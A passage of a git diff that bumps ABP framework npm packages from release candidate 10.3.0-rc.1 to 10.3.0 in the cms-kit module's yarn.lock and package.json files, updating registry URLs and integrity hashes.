+ resolved "https://registry.yarnpkg.com/@abp/jquery-validation-unobtrusive/-/jquery-validation-unobtrusive-10.3.0.tgz#5bc14ed642d48f9eae54761ad39bd9f51beeb005"
+ integrity sha512-j/9fA7tAs1/t3P2U1kKUiDlHAImmseul6KzvV77sNpnms7g4+x6Fgsa+sMzicSRGOLz7lK5RHdBFyvfKxt7/nA==
dependencies:
- "@abp/jquery-validation" "~10.3.0-rc.1"
+ "@abp/jquery-validation" "~10.3.0"
jquery-validation-unobtrusive "^4.0.0"
-"@abp/jquery-validation@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/jquery-validation/-/jquery-validation-10.3.0-rc.1.tgz#c4ab1a0692c1d224c5f60ffc4cb25545a7024c31"
- integrity sha512-JaUhEbhKFB1DPFe+xTeIqTvN3YgFm7gdlpqMxN9Q5k0mnecQHlNmXbmC0oDa+CyxZDvMjWOrSMrJw/8yL4moQQ==
+"@abp/jquery-validation@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/jquery-validation/-/jquery-validation-10.3.0.tgz#e669a54d28f6c0b863a284322e527a5c65cb7dbf"
+ integrity sha512-Wo95ZJLS1ScKm7dm3zFlEFUKqXrqo3m9+82DX5mFJUVCHHuBPrhxvDjxNJ18z4gpoOUu08uqxX7LFbphtkRM3g==
dependencies:
- "@abp/jquery" "~10.3.0-rc.1"
+ "@abp/jquery" "~10.3.0"
jquery-validation "^1.21.0"
-"@abp/jquery@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/jquery/-/jquery-10.3.0-rc.1.tgz#bc8d3a468483165f8d35cbfa5e91621c2fa53c8f"
- integrity sha512-tCZsi5U3oWZOazxRuqrEPyE85jZ4D71IfSrT9/Brf1wAELyrttt5ke3P57yQqjBevbfSqW652Wxca/w2GidQcg==
+"@abp/jquery@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/jquery/-/jquery-10.3.0.tgz#3b60bcdfe8f9a33be79db1bea2500837fe09c67d"
+ integrity sha512-TndX/8bJx5vGAAwIykx2CJUZIFFDkwpD+cUjE45WO2dSrY2M5vNfWiuw95OcLGngO8RaT/gTkFGzPuZqKn9ggg==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
jquery "~3.7.1"
-"@abp/lodash@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/lodash/-/lodash-10.3.0-rc.1.tgz#7bdf8038f28a822dfc12f0bfa9b7d81f13e16d99"
- integrity sha512-tlev/kkQ3Q+OC7BT1ZJ+TThIbVQ3CZ+mtEujLt6zHVIxx8tukbYmmDMpltrmOL2kGnQeDdMqFcQoNJAAYOju+A==
+"@abp/lodash@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/lodash/-/lodash-10.3.0.tgz#bd091fc811d85d2f535802631af6165ac1c8a198"
+ integrity sha512-7JDU9UlbD+9odhFQjolvyJZ6EQKG5kiL2Pt9T1RMVchNh47iEuZwfi8c+CIxa3YxA3n6lAsZ+8Pmxq4yOku+RQ==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
lodash "^4.17.21"
-"@abp/luxon@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/luxon/-/luxon-10.3.0-rc.1.tgz#e13db7cade7761964e9820315e43bac182f80784"
- integrity sha512-FB42gIKvfDJBu2vFZDBFVL6bn9jZpDpKdt5Kkp4OKQak9NHVyNuzH+R95Hr99vB+KELyTwW7hihc6Kl2oCrwWQ==
+"@abp/luxon@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/luxon/-/luxon-10.3.0.tgz#acbd92289456a546607ed4506dc36f71e6da53c9"
+ integrity sha512-IIi2+odQzuFK4qV1KJ2HtlTewSPby2F9CJFNNtNRMzX/P30dQkAGWpNV5/FZzJwFIihR+zSei5wlu11WpPugsw==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
luxon "^3.7.2"
-"@abp/malihu-custom-scrollbar-plugin@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/malihu-custom-scrollbar-plugin/-/malihu-custom-scrollbar-plugin-10.3.0-rc.1.tgz#1af6ebce0553c368d884752efcaef6cceaeb806c"
- integrity sha512-+BYN/3DhhtI7tS4nv4BpdsPiQLEVrLQ0KgawGRr1h3SV/nz1dtBTBgTbKvy/4bDHoMSKA1dPfudxi6XjgwUoBA==
+"@abp/malihu-custom-scrollbar-plugin@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/malihu-custom-scrollbar-plugin/-/malihu-custom-scrollbar-plugin-10.3.0.tgz#209931d02a994ef448371d6203e9ec74c72b61e6"
+ integrity sha512-hJjwEExP3hKE1MNDG+pcvoHRFUihh3t/0wCPNaoePFd8+QnJuyQ9U0VA+vdtykTxm8uFNE2uaCgyHffoHmzeZA==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
malihu-custom-scrollbar-plugin "^3.1.5"
-"@abp/moment@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/moment/-/moment-10.3.0-rc.1.tgz#82229c44e7b1417c872edec53ed3f51d06bf7e8b"
- integrity sha512-hKQ8VE25Wqo1mj/ks8qw39ONLQK5sV33xc0bfYHTk0+NVAholAPZF7gjqiDzaAWXzVBVJjemH554AM3y14VNAA==
+"@abp/moment@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/moment/-/moment-10.3.0.tgz#5a5c4ece14d1bc4dd33134f85d1d085733d3c975"
+ integrity sha512-8DKw2jgC/28nLrB/CR9BiyUSt0pUmWF+bEgAsduln6VrSCHn0aRLqgs+wi/9Ol+1bl7pO2wbJOYg1qbnkDhrAQ==
dependencies:
moment "^2.30.1"
-"@abp/popper.js@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/popper.js/-/popper.js-10.3.0-rc.1.tgz#3d758e25e7b09210542e4da06558cd5a1b710b45"
- integrity sha512-3PKJpwzTYAQ6UJFe3u9bn1qKRjXwmILlR9umyH998bfJLr0Zl04rBfcbIL9/l3S01qlCMt2bwjre0+wpRl+/OA==
+"@abp/popper.js@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/popper.js/-/popper.js-10.3.0.tgz#cb2415e45a905854980f4e864c00c8fe1156a6f9"
+ integrity sha512-Yfafs50t7DKnShxAl9WPpihZxG5cLAt99rJmIyXBYUQIpkHkxDyUIA5b4gCoVCqKgjFDOxG7i6L+Ovd/2N8k7g==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
"@popperjs/core" "^2.11.8"
-"@abp/select2@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/select2/-/select2-10.3.0-rc.1.tgz#5292066ccf962ad92058d946b267d413c4876c40"
- integrity sha512-gAJaAuLoHaOhkdDwS2F3ZH3CR//8EClkEWDde2AcYS+W2AY9/4g9kAMUOD5IrkrrYvJ+DDa9u426Ds8n8s/B9g==
+"@abp/select2@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/select2/-/select2-10.3.0.tgz#199777173ca3e43a5448f8b51b30c3aafe4a3333"
+ integrity sha512-6sEIYIakVI1DM3eOqOaxwdG8vkyVFBWvVZhoChPZkgIIQ0EH2JLerHv0pePJEl6mQSxOUrikPA8++B2y+sBnQA==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
select2 "^4.0.13"
-"@abp/sweetalert2@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/sweetalert2/-/sweetalert2-10.3.0-rc.1.tgz#a344674f14b21f430a820805bc36768a6dde1f58"
- integrity sha512-UV3nSA3LdgygFr1ruFZRU1PVan455NMFILisXKRYVu9QwweFInmnliR6FmcDlTmPFW7RCLBk+lC9UblEcDthUA==
+"@abp/sweetalert2@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/sweetalert2/-/sweetalert2-10.3.0.tgz#515e0477574b54bc6650b9f5ee193bfc648c715a"
+ integrity sha512-bY5MXEiKja+vk71ujSn8rpzRC45Ge8zvcca1k1vBJs+oKyRCii//JBxa3H0lagZo5r/QwIqv5ihdyLE1xsuLSg==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
sweetalert2 "^11.23.0"
-"@abp/timeago@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/timeago/-/timeago-10.3.0-rc.1.tgz#f0e476b65f19fd986c06231a331fdb4050d1a6c6"
- integrity sha512-ydBvTJ73BrV7A69vtWRzw//JmrLu6r4ow8J3GZy8vEuH9vlBWe1JHcPK6lOD3DDM+K6Jag5/31RL45ZuSSxcvQ==
+"@abp/timeago@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/timeago/-/timeago-10.3.0.tgz#3214a6d000c79504c9fa7cb4e004a967fe46459b"
+ integrity sha512-Rgcex+jvM9Z9/E0I5Q3wlC2bY5550/+6xRX407k5ho4gxCccYo3c0Gkpiy5pJRFhTwtBgcNzYxArh6NCez+tDg==
dependencies:
- "@abp/jquery" "~10.3.0-rc.1"
+ "@abp/jquery" "~10.3.0"
timeago "^1.6.7"
-"@abp/utils@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/utils/-/utils-10.3.0-rc.1.tgz#b6e20d357b87a009ffef3e11a0e7cc3a887d461f"
- integrity sha512-tBcywC3T2ZUKS6znm1lCd+jP0peZolYyxjs1F7wyyH/y+Y08NYtGgLG/A8EaIv7iDY2K4WExzvWjTHB4lE1mFA==
+"@abp/utils@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/utils/-/utils-10.3.0.tgz#d88c0d639d69d6210c3070892aac61d5e945c124"
+ integrity sha512-iNehxiqWJQl2wwE9EbsQANPv/ITMh0yUcPATUlG/McoLWdpPcqobx75NxXcHDqW8ZarecqSktjJDZPvaUaD+jA==
dependencies:
just-compare "^2.3.0"
diff --git a/modules/cms-kit/angular/package.json b/modules/cms-kit/angular/package.json
index 95d7f2a23b..76ed594cef 100644
--- a/modules/cms-kit/angular/package.json
+++ b/modules/cms-kit/angular/package.json
@@ -15,11 +15,11 @@
},
"private": true,
"dependencies": {
- "@abp/ng.account": "~10.3.0-rc.1",
- "@abp/ng.identity": "~10.3.0-rc.1",
- "@abp/ng.setting-management": "~10.3.0-rc.1",
- "@abp/ng.tenant-management": "~10.3.0-rc.1",
- "@abp/ng.theme.basic": "~10.3.0-rc.1",
+ "@abp/ng.account": "~10.3.0",
+ "@abp/ng.identity": "~10.3.0",
+ "@abp/ng.setting-management": "~10.3.0",
+ "@abp/ng.tenant-management": "~10.3.0",
+ "@abp/ng.theme.basic": "~10.3.0",
"@angular/animations": "~10.0.0",
"@angular/common": "~10.0.0",
"@angular/compiler": "~10.0.0",
diff --git a/modules/cms-kit/angular/projects/cms-kit/package.json b/modules/cms-kit/angular/projects/cms-kit/package.json
index 4b5e9fbe48..752961a86e 100644
--- a/modules/cms-kit/angular/projects/cms-kit/package.json
+++ b/modules/cms-kit/angular/projects/cms-kit/package.json
@@ -1,13 +1,13 @@
{
- "name": "@my-company-name/cms-kit",
- "version": "0.0.1",
- "peerDependencies": {
- "@angular/common": "^9.1.11",
- "@angular/core": "^9.1.11",
- "@abp/ng.core": ">=10.3.0-rc.1",
- "@abp/ng.theme.shared": ">=10.3.0-rc.1"
- },
- "dependencies": {
- "tslib": "^2.0.0"
-}
+ "name": "@my-company-name/cms-kit",
+ "version": "0.0.1",
+ "peerDependencies": {
+ "@angular/common": "^9.1.11",
+ "@angular/core": "^9.1.11",
+ "@abp/ng.core": ">=10.3.0",
+ "@abp/ng.theme.shared": ">=10.3.0"
+ },
+ "dependencies": {
+ "tslib": "^2.0.0"
+ }
}
diff --git a/modules/cms-kit/host/Volo.CmsKit.IdentityServer/package.json b/modules/cms-kit/host/Volo.CmsKit.IdentityServer/package.json
index 2c62a14d05..821ff58fe3 100644
--- a/modules/cms-kit/host/Volo.CmsKit.IdentityServer/package.json
+++ b/modules/cms-kit/host/Volo.CmsKit.IdentityServer/package.json
@@ -1,8 +1,8 @@
{
- "version": "1.0.0",
- "name": "my-app-identityserver",
- "private": true,
- "dependencies": {
- "@abp/aspnetcore.mvc.ui.theme.basic": "~10.3.0-rc.1"
- }
+ "version": "1.0.0",
+ "name": "my-app-identityserver",
+ "private": true,
+ "dependencies": {
+ "@abp/aspnetcore.mvc.ui.theme.basic": "~10.3.0"
+ }
}
diff --git a/modules/cms-kit/host/Volo.CmsKit.IdentityServer/yarn.lock b/modules/cms-kit/host/Volo.CmsKit.IdentityServer/yarn.lock
index 6d0049cf6a..2e8f03c042 100644
--- a/modules/cms-kit/host/Volo.CmsKit.IdentityServer/yarn.lock
+++ b/modules/cms-kit/host/Volo.CmsKit.IdentityServer/yarn.lock
@@ -2,186 +2,186 @@
# yarn lockfile v1
-"@abp/aspnetcore.mvc.ui.theme.basic@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui.theme.basic/-/aspnetcore.mvc.ui.theme.basic-10.3.0-rc.1.tgz#82f61b5d112c8cbc5c74077809d84525edc1200a"
- integrity sha512-eo4ubQfc6zT2/uTKM7U7XS6vExSKsg2szfvybFuBWJjmgb1ybfU2dKDXK4OfLdt0/wUBqBlEKDNK6NWZTfiovQ==
+"@abp/aspnetcore.mvc.ui.theme.basic@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui.theme.basic/-/aspnetcore.mvc.ui.theme.basic-10.3.0.tgz#bf48e8fa571067d15bc19bdd3f13509acf58f9c7"
+ integrity sha512-t9pHqrXaCDYcsdrz0VPKT28ujnnU+EVxyVDogQSRRpKsDoLhNcOD8NI3swdAWBQZ46YSCDfeDR+gfwjC3yqpXQ==
dependencies:
- "@abp/aspnetcore.mvc.ui.theme.shared" "~10.3.0-rc.1"
+ "@abp/aspnetcore.mvc.ui.theme.shared" "~10.3.0"
-"@abp/aspnetcore.mvc.ui.theme.shared@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui.theme.shared/-/aspnetcore.mvc.ui.theme.shared-10.3.0-rc.1.tgz#465bb75a8b974be7a7945099fd9055ee68e3c9fe"
- integrity sha512-89ca3oXYFEkaKbC1+mNsn6U4x0bls5iffcp1ZqaY5LTfHUhO5tJXbNf5kiOiEwT9TCYwPUHyLbUd2+rT72MGFA==
+"@abp/aspnetcore.mvc.ui.theme.shared@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui.theme.shared/-/aspnetcore.mvc.ui.theme.shared-10.3.0.tgz#bcf72b5dd1dea285c3fa7cb1b6ce27c29b985ff7"
+ integrity sha512-X5xmMSxnIzNJPexvKR9y6jyn0v5n2wscN1SECG/bMI1YdKugMlkfkSuyUmLn+RX9/YdcK0jOsdMhfuzs5mgAOA==
dependencies:
- "@abp/aspnetcore.mvc.ui" "~10.3.0-rc.1"
- "@abp/bootstrap" "~10.3.0-rc.1"
- "@abp/bootstrap-datepicker" "~10.3.0-rc.1"
- "@abp/bootstrap-daterangepicker" "~10.3.0-rc.1"
- "@abp/datatables.net-bs5" "~10.3.0-rc.1"
- "@abp/font-awesome" "~10.3.0-rc.1"
- "@abp/jquery-validation-unobtrusive" "~10.3.0-rc.1"
- "@abp/lodash" "~10.3.0-rc.1"
- "@abp/luxon" "~10.3.0-rc.1"
- "@abp/malihu-custom-scrollbar-plugin" "~10.3.0-rc.1"
- "@abp/moment" "~10.3.0-rc.1"
- "@abp/select2" "~10.3.0-rc.1"
- "@abp/sweetalert2" "~10.3.0-rc.1"
- "@abp/timeago" "~10.3.0-rc.1"
-
-"@abp/aspnetcore.mvc.ui@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui/-/aspnetcore.mvc.ui-10.3.0-rc.1.tgz#c5764ec2fcab13ee591863c54e59e33fe1da90b4"
- integrity sha512-vmBsradTXcTEqHUXM5rTLYnsNNYJDeyyvz3kaLLqNwYhjo2FxL8D8IUZnp3Mk0qkBpYaYeGag5uxd06VDczDhg==
+ "@abp/aspnetcore.mvc.ui" "~10.3.0"
+ "@abp/bootstrap" "~10.3.0"
+ "@abp/bootstrap-datepicker" "~10.3.0"
+ "@abp/bootstrap-daterangepicker" "~10.3.0"
+ "@abp/datatables.net-bs5" "~10.3.0"
+ "@abp/font-awesome" "~10.3.0"
+ "@abp/jquery-validation-unobtrusive" "~10.3.0"
+ "@abp/lodash" "~10.3.0"
+ "@abp/luxon" "~10.3.0"
+ "@abp/malihu-custom-scrollbar-plugin" "~10.3.0"
+ "@abp/moment" "~10.3.0"
+ "@abp/select2" "~10.3.0"
+ "@abp/sweetalert2" "~10.3.0"
+ "@abp/timeago" "~10.3.0"
+
+"@abp/aspnetcore.mvc.ui@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui/-/aspnetcore.mvc.ui-10.3.0.tgz#0d125efd172b6772c516eae82cfe35f144da73fc"
+ integrity sha512-kp0XdwrlNz+NeLdxSJ6xdUaB5PM7xdbiLsIyTUcwa7AUKBtcVU6yq6qttbk9VyO0KqDgLywSuEL+9PkFhthuPg==
dependencies:
ansi-colors "^4.1.3"
-"@abp/bootstrap-datepicker@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/bootstrap-datepicker/-/bootstrap-datepicker-10.3.0-rc.1.tgz#58586e2333116ef840c3abd44bb2b54f944c92b1"
- integrity sha512-PEXWi22YfOBdbxCUfLkEAVL45DCxzDbNALFLfsCK3LPvXuL5Pw0YU0CrezAW54+1tzPpbWh1HLyEyaUAINz6Wg==
+"@abp/bootstrap-datepicker@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/bootstrap-datepicker/-/bootstrap-datepicker-10.3.0.tgz#032aaf0e474f971b9f90ca7fb83ff7ca4d7be933"
+ integrity sha512-7mRuRRIE4R0yw1cZuoIskgrqZPUa5/SJzse0K6u+/QDqvyLjjOsyE51WuqAXxlVfKpLp/fBvXZwnCDeCRU9iZQ==
dependencies:
bootstrap-datepicker "^1.10.1"
-"@abp/bootstrap-daterangepicker@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/bootstrap-daterangepicker/-/bootstrap-daterangepicker-10.3.0-rc.1.tgz#088b96754014b3c7a8884689574c2332cd5c292e"
- integrity sha512-uZRh/Eh/3nyFe4KfMLRMud5LmUs2JFKSeA4KeRliGe1PD68E6NizP/ZiNzkYFP2K2p0nNUQrqmSe7ZFHVELN4A==
+"@abp/bootstrap-daterangepicker@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/bootstrap-daterangepicker/-/bootstrap-daterangepicker-10.3.0.tgz#b2a9171595ee311c32f57460013870cde67c6b7f"
+ integrity sha512-ejLu3sWhfNDlsXeUXAQudZvPv0xM4McxIK65vuVEZiKIwFSnrLYil8jBi12EJJmAw5yYA/KC0EdyG82E+AWpmA==
dependencies:
- "@abp/moment" "~10.3.0-rc.1"
+ "@abp/moment" "~10.3.0"
bootstrap-daterangepicker "^3.1.0"
-"@abp/bootstrap@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/bootstrap/-/bootstrap-10.3.0-rc.1.tgz#fc1ccf88e689af336fec9c76d367bcaf66253961"
- integrity sha512-vdhaz3ccmIflmufhNiQE/8I2RZdSSv3V4sbA2NC24csx8xl4J/R2JFhTyTLixpxOR+/p1cWw1F2oMYVzjV0+eg==
+"@abp/bootstrap@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/bootstrap/-/bootstrap-10.3.0.tgz#23535c90613271b02fdad3eae1556b67844729e6"
+ integrity sha512-JnVOeJUyR78oo+QURvaNqa9xGZaVux0PRIpFpd4Qsqiiz9FvJrbCuSoBkkZoj/0eH23WoZ3bJxy0K9LDE19qvg==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
- "@abp/popper.js" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
+ "@abp/popper.js" "~10.3.0"
bootstrap "^5.3.8"
-"@abp/core@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/core/-/core-10.3.0-rc.1.tgz#68f85db8219e3a2618a60cf82933bc52a2d1ec49"
- integrity sha512-tOl/yDSPqRaHbENFVYcjqkdKGM4Qhjd/QPushVaH57pxalmv6canhiWAa0x7W31qxdY9od48H7MYoJx61jURhw==
+"@abp/core@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/core/-/core-10.3.0.tgz#9960f8179d1fdc42250d0bbba60e379590c8199c"
+ integrity sha512-DpL4qrsyCUolypUwxKVDDK8bPVhNbYKx6l2ytUjoOu73CwgPoCSGkvHWrmKIsEsmTfOC9J7+GDErh8jWR/5pVA==
dependencies:
- "@abp/utils" "~10.3.0-rc.1"
+ "@abp/utils" "~10.3.0"
-"@abp/datatables.net-bs5@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/datatables.net-bs5/-/datatables.net-bs5-10.3.0-rc.1.tgz#55e8dde9024c51ccb70fe5b640bbb434fff2e00d"
- integrity sha512-d6vFlrNgS6MIpXi2EcZjGFbFbCl5I5hzM49NxQeB3hyG7gUElFsEJkf66UcO8PN/56Uo+sFe/rCdrcvyLLDHmg==
+"@abp/datatables.net-bs5@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/datatables.net-bs5/-/datatables.net-bs5-10.3.0.tgz#d8711c52f7c03df51d14d1a5f0e6b00f6d9551fc"
+ integrity sha512-I8rEU98kEhsNZjVdpPvOcG6F4xr1CgIRb0bTf5bfd8ufzxEUKB+xF9bguJIB5kYwjme8QbMlcJ0V/c+N4iewtQ==
dependencies:
- "@abp/datatables.net" "~10.3.0-rc.1"
+ "@abp/datatables.net" "~10.3.0"
datatables.net-bs5 "^2.3.4"
-"@abp/datatables.net@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/datatables.net/-/datatables.net-10.3.0-rc.1.tgz#8e275f31d8b24b098c6acc3ec1de7ef2fe587e73"
- integrity sha512-m57imr9KOkasgDCIFaIgoDqFDhS71wzClE2WCk+Uk7qHLRgRMa7CYRHh5xeck4hgPWq9DEmAZS0ogbHxLgkLKQ==
+"@abp/datatables.net@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/datatables.net/-/datatables.net-10.3.0.tgz#f98319d8e226da5aced4d1d94d3ababb11327074"
+ integrity sha512-imM25WmO1V0hqeG5iPeLvYMID2HX7SG9drz47qilr74MhpY2i2J7HlsvZDonNkjpxzhK4DHpGeQd6mE2QzG7Hw==
dependencies:
- "@abp/jquery" "~10.3.0-rc.1"
+ "@abp/jquery" "~10.3.0"
datatables.net "^2.3.4"
-"@abp/font-awesome@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/font-awesome/-/font-awesome-10.3.0-rc.1.tgz#e9d4a1b36652773509259440b77b804af18c5364"
- integrity sha512-8zvZh7lbPlvH0/SKYtUeQF+ezKSoohwFxzFhOJ88GOdtwp620mBCwYEHjZA64e/Xjk6Oda2VrdNJ318IvgjIvA==
+"@abp/font-awesome@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/font-awesome/-/font-awesome-10.3.0.tgz#43602605f5633132cc6fe21b6ce5ab19b86bdf27"
+ integrity sha512-RUOVHxDyT81hp01DhUuSshKvLM+NiTt9VP+O4/rSj+SOaSJAm3wX7eziCKrDi6H41FwhoZL75CifLhcZVyVO4A==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
"@fortawesome/fontawesome-free" "^7.0.1"
-"@abp/jquery-validation-unobtrusive@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/jquery-validation-unobtrusive/-/jquery-validation-unobtrusive-10.3.0-rc.1.tgz#b547557e85838afcc783ef3d502c2da3a31f4a63"
- integrity sha512-NU00gPTHDF2HTnsHaZKAp17DTgAHUCz1fwuXRq4f7Ke5Q9HwiJx2IpIFaeR49xe9XRg1d9iRbNKFkMycjX7rEg==
+"@abp/jquery-validation-unobtrusive@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/jquery-validation-unobtrusive/-/jquery-validation-unobtrusive-10.3.0.tgz#5bc14ed642d48f9eae54761ad39bd9f51beeb005"
+ integrity sha512-j/9fA7tAs1/t3P2U1kKUiDlHAImmseul6KzvV77sNpnms7g4+x6Fgsa+sMzicSRGOLz7lK5RHdBFyvfKxt7/nA==
dependencies:
- "@abp/jquery-validation" "~10.3.0-rc.1"
+ "@abp/jquery-validation" "~10.3.0"
jquery-validation-unobtrusive "^4.0.0"
-"@abp/jquery-validation@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/jquery-validation/-/jquery-validation-10.3.0-rc.1.tgz#c4ab1a0692c1d224c5f60ffc4cb25545a7024c31"
- integrity sha512-JaUhEbhKFB1DPFe+xTeIqTvN3YgFm7gdlpqMxN9Q5k0mnecQHlNmXbmC0oDa+CyxZDvMjWOrSMrJw/8yL4moQQ==
+"@abp/jquery-validation@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/jquery-validation/-/jquery-validation-10.3.0.tgz#e669a54d28f6c0b863a284322e527a5c65cb7dbf"
+ integrity sha512-Wo95ZJLS1ScKm7dm3zFlEFUKqXrqo3m9+82DX5mFJUVCHHuBPrhxvDjxNJ18z4gpoOUu08uqxX7LFbphtkRM3g==
dependencies:
- "@abp/jquery" "~10.3.0-rc.1"
+ "@abp/jquery" "~10.3.0"
jquery-validation "^1.21.0"
-"@abp/jquery@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/jquery/-/jquery-10.3.0-rc.1.tgz#bc8d3a468483165f8d35cbfa5e91621c2fa53c8f"
- integrity sha512-tCZsi5U3oWZOazxRuqrEPyE85jZ4D71IfSrT9/Brf1wAELyrttt5ke3P57yQqjBevbfSqW652Wxca/w2GidQcg==
+"@abp/jquery@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/jquery/-/jquery-10.3.0.tgz#3b60bcdfe8f9a33be79db1bea2500837fe09c67d"
+ integrity sha512-TndX/8bJx5vGAAwIykx2CJUZIFFDkwpD+cUjE45WO2dSrY2M5vNfWiuw95OcLGngO8RaT/gTkFGzPuZqKn9ggg==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
jquery "~3.7.1"
-"@abp/lodash@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/lodash/-/lodash-10.3.0-rc.1.tgz#7bdf8038f28a822dfc12f0bfa9b7d81f13e16d99"
- integrity sha512-tlev/kkQ3Q+OC7BT1ZJ+TThIbVQ3CZ+mtEujLt6zHVIxx8tukbYmmDMpltrmOL2kGnQeDdMqFcQoNJAAYOju+A==
+"@abp/lodash@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/lodash/-/lodash-10.3.0.tgz#bd091fc811d85d2f535802631af6165ac1c8a198"
+ integrity sha512-7JDU9UlbD+9odhFQjolvyJZ6EQKG5kiL2Pt9T1RMVchNh47iEuZwfi8c+CIxa3YxA3n6lAsZ+8Pmxq4yOku+RQ==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
lodash "^4.17.21"
-"@abp/luxon@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/luxon/-/luxon-10.3.0-rc.1.tgz#e13db7cade7761964e9820315e43bac182f80784"
- integrity sha512-FB42gIKvfDJBu2vFZDBFVL6bn9jZpDpKdt5Kkp4OKQak9NHVyNuzH+R95Hr99vB+KELyTwW7hihc6Kl2oCrwWQ==
+"@abp/luxon@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/luxon/-/luxon-10.3.0.tgz#acbd92289456a546607ed4506dc36f71e6da53c9"
+ integrity sha512-IIi2+odQzuFK4qV1KJ2HtlTewSPby2F9CJFNNtNRMzX/P30dQkAGWpNV5/FZzJwFIihR+zSei5wlu11WpPugsw==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
luxon "^3.7.2"
-"@abp/malihu-custom-scrollbar-plugin@~10.3.0-rc.1":
